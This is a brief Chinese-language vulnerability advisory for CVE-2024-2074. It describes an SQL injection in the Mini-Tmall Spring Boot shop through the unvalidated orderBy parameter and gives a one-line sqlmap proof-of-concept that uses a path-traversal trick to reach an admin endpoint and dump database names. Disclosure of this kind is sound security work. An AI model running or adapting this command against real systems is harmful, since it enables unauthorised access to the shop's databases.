Mini-Tmall CVE-2024-2074 SQL注入漏洞

2024-04-11 Mini-Tmall PoC Public

Description

Mini-Tmall是基于Spring Boot的迷你天猫商城。 Mini-Tmall中存在SQL注入漏洞，此漏洞是由于未充分验证用户输入orderBy的数据所导致的。

PoC

python3 sqlmap.py -u "http://localhost:8082/admin/login/../../tmall/admin/reward/1/1?orderBy=1" --dbs -v 3

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://isecurity.huawei.com/security/wiki/ips/detail?threatId=748830